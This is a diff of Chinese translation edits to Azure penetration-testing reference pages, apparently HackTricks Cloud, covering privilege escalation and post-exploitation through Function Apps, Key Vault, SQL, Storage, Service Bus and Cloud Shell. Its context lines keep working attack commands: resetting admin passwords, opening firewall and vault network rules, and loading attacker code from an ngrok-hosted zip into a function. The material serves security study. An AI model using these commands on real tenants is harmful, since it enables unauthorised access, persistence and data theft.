||||
**潜在影响**:破坏基于标签的访问控制策略。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@@ -7,7 +7,7 @@
|
||||
Azure Cloud Shell 提供命令行访问以管理 Azure 资源,具有持久存储和自动身份验证。攻击者可以通过在持久主目录中放置后门来利用这一点:
|
||||
|
||||
* **持久存储**:Azure Cloud Shell 的主目录挂载在 Azure 文件共享上,即使会话结束后也保持完整。
|
||||
* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,从而在云 shell 启动时实现持久执行。
|
||||
* **启动脚本**:像 .bashrc 这样的文件在每个会话开始时自动执行,允许在云 shell 启动时进行持久执行。
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
```bash
|
||||
|
||||
+1
-1
@@ -147,7 +147,7 @@ az cosmosdb mongodb role definition create \
|
||||
}'
|
||||
```
|
||||
### `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write` && `Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read`
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库配置具有特定角色和访问级别的用户。
|
||||
通过此权限,您可以在 Azure Cosmos DB 帐户中创建新的 MongoDB 用户定义。这允许为 MongoDB 数据库提供具有特定角色和访问级别的用户。
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
|
||||
+3
-3
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logic Apps 数据库后期利用
|
||||
## Logic Apps 数据库后渗透
|
||||
有关逻辑应用的更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
@@ -19,7 +19,7 @@ az logic workflow identity remove/assign \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
### `Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`
|
||||
拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制。
|
||||
拥有这些权限,您可以创建或更新托管在应用服务计划上的逻辑应用。这包括修改设置,例如启用或禁用 HTTPS 强制执行。
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
@@ -113,7 +113,7 @@ az logic integration-account session create \
|
||||
}'
|
||||
```
|
||||
### "*/delete"
|
||||
凭借此权限,您可以删除与 Azure Logic Apps 相关的资源
|
||||
凭借这些权限,您可以删除与 Azure Logic Apps 相关的资源
|
||||
|
||||
|
||||
|
||||
|
||||
+1
-1
@@ -85,7 +85,7 @@ az mysql flexible-server identity assign \
|
||||
```
|
||||
### `Microsoft.DBforMySQL/flexibleServers/stop/action`
|
||||
|
||||
通过此权限,您可以停止 Azure 上的 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
|
||||
拥有此权限,您可以在 Azure 上停止 PostgreSQL Flexible Server 实例。停止服务器可能会导致临时服务中断,影响依赖于数据库的应用程序和用户。
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ az postgres flexible-server db create \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
通过此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这使用户能够生成按需备份,这对于在特定时间点保留数据非常有用。
|
||||
通过此权限,您可以在 Azure 上为 Postgres Flexible Server 实例启动备份的创建。这允许用户生成按需备份,这对于在特定时间点保留数据非常有用。
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
|
||||
+3
-3
@@ -1,8 +1,8 @@
|
||||
# Az - SQL Database Post Exploitation
|
||||
# Az - SQL 数据库后渗透
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQL Database Post Exploitation
|
||||
## SQL 数据库后渗透
|
||||
|
||||
有关 SQL 数据库的更多信息,请查看:
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write`
|
||||
|
||||
拥有这些权限后,攻击者可以在被攻陷的环境中创建和更新数据库。这种后期利用活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。
|
||||
拥有这些权限,攻击者可以在被攻陷的环境中创建和更新数据库。这种后渗透活动可能允许攻击者添加恶意数据、修改数据库配置或插入后门以进一步保持持久性,可能会干扰操作或启用其他恶意行为。
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
|
||||
+13
-13
@@ -29,7 +29,7 @@ az functionapp config appsettings list \
|
||||
这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。
|
||||
|
||||
> [!CAUTION]
|
||||
> 只要有足够的权限连接到文件共享并 **修改正在运行的脚本**,就可以在函数中执行任意代码并提升权限。
|
||||
> 如果有足够的权限连接到文件共享并 **修改正在运行的脚本**,则可以在函数中执行任意代码并提升权限。
|
||||
|
||||
以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息:
|
||||
|
||||
@@ -62,7 +62,7 @@ az functionapp config appsettings list \
|
||||
|
||||
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
|
||||
|
||||
就像在前一个案例中一样,如果通过 Github Actions 进行部署,可以在存储帐户中找到包含代码 zip 的文件夹 **`github-actions-deploy`** 以及设置 `WEBSITE_RUN_FROM_PACKAGE` 中的 zip 的 SAS URL。
|
||||
就像在前一个案例中一样,如果通过 Github Actions 进行部署,可以在存储帐户中找到包含代码 zip 的文件夹 **`github-actions-deploy`**,以及设置 `WEBSITE_RUN_FROM_PACKAGE` 中的 zip 的 SAS URL。
|
||||
|
||||
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`)
|
||||
|
||||
@@ -133,7 +133,7 @@ curl "<script-href>?code=<master-key>"
|
||||
## Python example:
|
||||
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
|
||||
```
|
||||
并且要**更改正在函数中执行的代码**为:
|
||||
并要**更改正在执行的代码**在函数中:
|
||||
```bash
|
||||
# Set the code to set in the function in /tmp/function_app.py
|
||||
## The following continues using the python example
|
||||
@@ -183,9 +183,9 @@ az rest --method POST \
|
||||
```
|
||||
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
|
||||
|
||||
这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示要在函数内部执行的代码的位置。
|
||||
这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示了要在函数内部执行的代码的位置。
|
||||
|
||||
因此,可以设置设置的值**`WEBSITE_RUN_FROM_PACKAGE`**,指向包含要在Web应用程序内部执行的新代码的URL zip文件:
|
||||
因此,可以设置**`WEBSITE_RUN_FROM_PACKAGE`**的值,指向包含要在Web应用程序内部执行的新代码的URL zip文件:
|
||||
|
||||
- 首先获取当前配置
|
||||
```bash
|
||||
@@ -203,7 +203,7 @@ python3 -m http.server
|
||||
# Serve it using ngrok for example
|
||||
ngrok http 8000
|
||||
```
|
||||
- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`**,指向包含代码的 **zip** 的 URL。
|
||||
- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`** 指向包含代码的 **zip** 的 URL。
|
||||
|
||||
以下是我的 **自定义设置,您需要更改值以适应您的设置**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这就是我托管应用程序的地方。
|
||||
```bash
|
||||
@@ -242,7 +242,7 @@ az functionapp deployment user set \
|
||||
```
|
||||
- 如果**REDACTED**凭据
|
||||
|
||||
如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
如果您看到这些凭据是**REDACTED**,那是因为您**需要启用SCM基本身份验证选项**,为此您需要第二个权限(`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
|
||||
```bash
|
||||
# Enable basic authentication for SCM
|
||||
az rest --method PUT \
|
||||
@@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py
|
||||
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
|
||||
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
|
||||
```
|
||||
_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用名称,因此:`$<app-name>`。_
|
||||
_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用程序的名称,因此:`$<app-name>`。_
|
||||
|
||||
您还可以通过 `https://<app-name>.scm.azurewebsites.net/BasicAuth` 访问网页。
|
||||
|
||||
@@ -307,9 +307,9 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
|
||||
```
|
||||
### `Microsoft.Web/sites/functions/token/action`
|
||||
|
||||
通过此权限,可以 [获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码。
|
||||
通过此权限,可以[获取 **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01),该令牌可以用于检索 **master key**,从而访问和修改函数的代码。
|
||||
|
||||
然而,在我最近的检查中没有返回任何令牌,因此它可能已被禁用或不再有效,但以下是您将如何操作的方式:
|
||||
然而,在我最近的检查中没有返回任何令牌,因此它可能已被禁用或不再有效,但以下是您将如何操作:
|
||||
```bash
|
||||
# Get admin token
|
||||
az rest --method GET \
|
||||
@@ -335,7 +335,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/res
|
||||
```
|
||||
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
|
||||
|
||||
通过这些权限,可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如),并使该函数执行它。
|
||||
拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使该函数执行它。
|
||||
```bash
|
||||
az functionapp config container set --name <app-name> \
|
||||
--resource-group <res-group> \
|
||||
@@ -352,9 +352,9 @@ az functionapp identity assign \
|
||||
```
|
||||
### 远程调试
|
||||
|
||||
也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在开发者忘记时将此选项在 2 天内关闭,以避免留下易受攻击的配置。
|
||||
也可以连接到正在运行的 Azure 函数进行调试,正如 [**文档中所解释的**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。然而,默认情况下,Azure 会在开发者忘记的情况下,在 2 天内将此选项关闭,以避免留下易受攻击的配置。
|
||||
|
||||
可以通过以下方式检查函数是否启用了调试:
|
||||
可以通过以下方式检查一个函数是否启用了调试:
|
||||
```bash
|
||||
az functionapp show --name <app-name> --resource-group <res-group>
|
||||
```
|
||||
|
||||
@@ -29,4 +29,14 @@ az keyvault set-policy \
|
||||
--certificate-permissions all \
|
||||
--storage-permissions all
|
||||
```
|
||||
### 修改网络限制
|
||||
|
||||
可能你拥有足够的权限访问敏感数据(例如,秘密的值),但由于密钥保管库限制在特定网络内,你无法访问。如果你有权限修改网络限制,你可以将你的IP添加到允许的IP列表中。
|
||||
```bash
|
||||
# Get the current network restrictions
|
||||
az keyvault network-rule list --name <vault-name>
|
||||
|
||||
# Add your IP to the list
|
||||
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@
|
||||
|
||||
### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
|
||||
|
||||
拥有此权限,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了不同系统和服务之间的自动化过程和集成。
|
||||
拥有此权限,您可以创建或更新 Azure Logic Apps 工作流。工作流定义了各种系统和服务之间的自动化过程和集成。
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
|
||||
+2
-2
@@ -37,9 +37,9 @@ az postgres flexible-server update --resource-group <resource_group_name> --serv
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
|
||||
|
||||
通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。更新现有主体尚不支持,因此如果已创建一个,您必须先将其删除。
|
||||
通过此权限,您可以为 PostgreSQL Flexible Server 配置 Azure Active Directory (AD) 管理员。这可以通过将自己或其他帐户设置为 AD 管理员来利用,从而授予对 PostgreSQL 服务器的完全管理控制。尚不支持更新现有主体,因此如果已创建一个,您必须先将其删除。
|
||||
|
||||
重要的是,flexible-server 必须有用户分配的托管身份可供使用。
|
||||
重要的是,flexible-server 必须具有分配的用户托管身份以供使用。
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
|
||||
+3
-3
@@ -12,7 +12,7 @@
|
||||
|
||||
### 发送消息。操作:`Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` 或 `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
|
||||
|
||||
您可以检索 `PrimaryConnectionString`,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以完全以 Service Bus 命名空间的身份进行身份验证,使您能够向任何队列或主题发送消息,并可能以可能干扰操作、冒充有效用户或将恶意数据注入消息工作流的方式与系统进行交互。
|
||||
您可以检索 `PrimaryConnectionString`,它作为 Service Bus 命名空间的凭据。使用此连接字符串,您可以完全以 Service Bus 命名空间的身份进行身份验证,从而能够向任何队列或主题发送消息,并可能以可能干扰操作、冒充有效用户或将恶意数据注入消息工作流的方式与系统进行交互。
|
||||
```python
|
||||
#You need to install the following libraries
|
||||
#pip install azure-servicebus
|
||||
@@ -129,7 +129,7 @@ print("----------------------------")
|
||||
```
|
||||
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
|
||||
|
||||
如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能绕过基于角色的访问控制 (RBAC)。
|
||||
如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能会绕过基于角色的访问控制 (RBAC)。
|
||||
```bash
|
||||
az servicebus namespace authorization-rule update \
|
||||
--resource-group <MyResourceGroup> \
|
||||
@@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \
|
||||
--name RootManageSharedAccessKey \
|
||||
--rights Manage Listen Send
|
||||
```
|
||||
## 参考
|
||||
## References
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
|
||||
|
||||
拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现未经授权的访问或对服务器的控制。他们还可以创建新服务器,可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制访问权限。
|
||||
拥有这些权限的用户可以通过更新或创建 Azure SQL 服务器并修改关键配置(包括管理凭据)来进行权限提升。此权限允许用户更新服务器属性,包括 SQL 服务器管理员密码,从而实现对服务器的未经授权访问或控制。他们还可以创建新服务器,可能会引入用于恶意目的的影子基础设施。在“Microsoft Entra 仅身份验证”被禁用的环境中,这一点尤为关键,因为他们可以利用基于 SQL 的身份验证获得无限制访问权限。
|
||||
```bash
|
||||
# Change the server password
|
||||
az sql server update \
|
||||
@@ -60,7 +60,7 @@ az sql server firewall-rule update \
|
||||
|
||||
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
|
||||
|
||||
拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未授权访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。
|
||||
拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未经授权的访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。
|
||||
```bash
|
||||
az sql server firewall-rule create \
|
||||
--server <server_name> \
|
||||
|
||||
@@ -70,7 +70,7 @@ az storage container immutability-policy update \
|
||||
|
||||
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
|
||||
|
||||
拥有此权限的攻击者可以为 Azure 存储帐户(配置为层次命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者授予自己特定权限的存储帐户,例如读取(r)、写入(w)、删除(d)和列出(l)等。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。
|
||||
拥有此权限的攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者授予自己特定权限的存储帐户,例如读取(r)、写入(w)、删除(d)和列出(l)等。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。
|
||||
```bash
|
||||
az storage account local-user create \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -82,7 +82,7 @@ az storage account local-user create \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action`
|
||||
|
||||
通过此权限,攻击者可以重新生成 Azure 存储帐户中本地用户的密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可能会获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。
|
||||
通过此权限,攻击者可以为 Azure 存储帐户中的本地用户重新生成密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可能会获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。
|
||||
```bash
|
||||
az storage account local-user regenerate-password \
|
||||
--account-name <STORAGE_ACCOUNT_NAME> \
|
||||
@@ -96,7 +96,7 @@ sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.w
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
|
||||
|
||||
通过这些权限,攻击者可以通过指定已删除的版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob(如果它们之前被软删除)。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
|
||||
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob(如果它们之前被软删除)。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
|
||||
```bash
|
||||
#Restore the soft deleted container
|
||||
az storage container restore \
|
||||
@@ -112,7 +112,7 @@ az storage blob undelete \
|
||||
```
|
||||
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
|
||||
|
||||
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。此权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
|
||||
通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。
|
||||
```bash
|
||||
az storage share-rm restore \
|
||||
--storage-account <STORAGE_ACCOUNT_NAME> \
|
||||
|
||||
@@ -184,9 +184,9 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft** 的 **租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有这些应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。
|
||||
当您通过 **CLI** 登录 Azure 时,您使用的是属于 **Microsoft** 的 **租户** 中的 **Azure 应用程序**。这些应用程序,如您可以在您的帐户中创建的应用程序,**具有客户端 ID**。您 **无法看到所有的应用程序** 在控制台中可见的 **允许的应用程序列表** 中,**但它们默认是被允许的**。
|
||||
|
||||
例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员也可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。
|
||||
例如,一个 **powershell 脚本** 通过客户端 ID **`1950a258-227b-4e31-a9cf-717495945fc2`** 进行 **身份验证** 的应用程序。即使该应用程序未出现在控制台中,系统管理员仍然可以 **阻止该应用程序**,以便用户无法使用通过该应用程序连接的工具访问。
|
||||
|
||||
然而,还有 **其他客户端 ID** 的应用程序 **将允许您连接到 Azure**:
|
||||
```bash
|
||||
@@ -799,8 +799,8 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
> 应用在请求令牌时用来证明其身份的秘密字符串是应用密码。\
|
||||
> 因此,如果找到这个 **密码**,你可以作为 **服务主体** **访问** **租户**。\
|
||||
> 请注意,这个密码只有在生成时可见(你可以更改它,但无法再次获取)。\
|
||||
> **应用** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\
|
||||
> 作为这些服务主体的登录 **不会被标记为风险**,并且它们 **不会有 MFA**。
|
||||
> **应用程序** 的 **所有者** 可以 **添加密码**(以便他可以冒充它)。\
|
||||
> 作为这些服务主体的登录 **不会被标记为风险**,并且 **不会有 MFA**。
|
||||
|
||||
可以在 [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) 找到属于 Microsoft 的常用应用 ID 列表。
|
||||
|
||||
@@ -1032,7 +1032,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将 **能够登录**。\
|
||||
> 如果设备(虚拟机)是 **AzureAD 加入**,来自 AzureAD 的用户将能够 **登录**。\
|
||||
> 此外,如果登录的用户是设备的 **所有者**,他将成为 **本地管理员**。
|
||||
|
||||
### 管理单位
|
||||
@@ -1090,7 +1090,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
|
||||
特权身份管理 (PIM) 在 Azure 中帮助**防止不必要地将过多特权**分配给用户。
|
||||
|
||||
PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其**在一段时间内(例如 6 个月)有资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要特权的时间(例如 3 小时)。然后**管理员需要批准**该请求。\
|
||||
PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃的主体,而是使其**在一段时间内(例如 6 个月)具备资格**。然后,每当用户想要激活该角色时,他需要请求并指明他需要特权的时间(例如 3 小时)。然后**管理员需要批准**该请求。\
|
||||
请注意,用户还可以请求**延长**时间。
|
||||
|
||||
此外,**PIM 会在特权角色被分配给某人时发送电子邮件**。
|
||||
@@ -1105,8 +1105,8 @@ PIM 提供的主要功能之一是,它允许不将角色分配给持续活跃
|
||||
- 激活时需要理由
|
||||
- 激活时需要票据信息
|
||||
- 激活时需要批准
|
||||
- 过期的合格分配的最大时间
|
||||
- 还有更多关于何时以及谁在某些操作发生时发送通知的配置
|
||||
- 资格分配的最大过期时间
|
||||
- 以及更多关于何时以及谁在某些操作发生时发送通知的配置
|
||||
|
||||
### 条件访问策略
|
||||
|
||||
@@ -1129,7 +1129,7 @@ Entra 身份保护是一项安全服务,允许**检测用户或登录尝试是
|
||||
|
||||
### Entra 密码保护
|
||||
|
||||
Entra 密码保护 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定账户来帮助防止弱密码的滥用**。\
|
||||
Entra 密码保护 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) 是一项安全功能,**通过在多次登录尝试失败时锁定帐户来帮助防止弱密码的滥用**。\
|
||||
它还允许**禁止自定义密码列表**,该列表需要您提供。
|
||||
|
||||
它可以**同时应用于**云级别和本地 Active Directory。
|
||||
|
||||
@@ -4,17 +4,17 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 文件共享来持久化文件。可以通过多个点访问 Cloud Shell,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。
|
||||
**Azure Cloud Shell** 是一个交互式、经过身份验证的、可通过浏览器访问的终端,旨在管理 Azure 资源,提供使用 Bash 或 PowerShell 的灵活性。它在一个临时的、每个会话的主机上运行,该主机在 20 分钟不活动后超时,同时在 $HOME 位置使用 5-GB 的文件共享来持久化文件。可以通过多个点访问 Cloud Shell,包括 Azure 门户、shell.azure.com、Azure CLI 和 PowerShell 文档、Azure 移动应用程序以及 Visual Studio Code Azure 账户扩展。
|
||||
|
||||
此服务没有分配权限,因此没有特权升级技术。同时也没有任何类型的枚举。
|
||||
|
||||
### 主要特性
|
||||
|
||||
**环境**: Azure Cloud Shell 通过在 Azure Linux 上运行提供了一个安全的环境,Azure Linux 是微软为云基础设施设计的自有 Linux 发行版。Azure Linux 存储库中包含的所有软件包均由微软内部编译,以防止供应链攻击。
|
||||
**预安装工具**: Cloud Shell 包含一整套预安装工具,如 Azure CLI、Azure PowerShell、Terraform、Docker CLI、Ansible、Git,以及文本编辑器如 vim、nano 和 emacs。这些工具可以直接使用。要列出已安装的软件包和模块,可以使用 "Get-Module -ListAvailable"、"tdnf list" 和 "pip3 list"。
|
||||
**$HOME 持久性**: 第一次启动 Azure Cloud Shell 时,可以选择附加存储帐户或不附加。选择不附加存储会创建一个临时会话,文件在会话结束时被删除。要在会话之间持久化文件,请挂载一个存储帐户,该帐户会自动附加为 **$HOME\clouddrive**,您的 **$HOME** 目录将作为 **.img** 文件保存在 Azure 文件共享中。然而,$HOME 之外的文件和机器状态不会被持久化。要安全存储像 SSH 密钥这样的秘密,请使用 Azure Key Vault。
|
||||
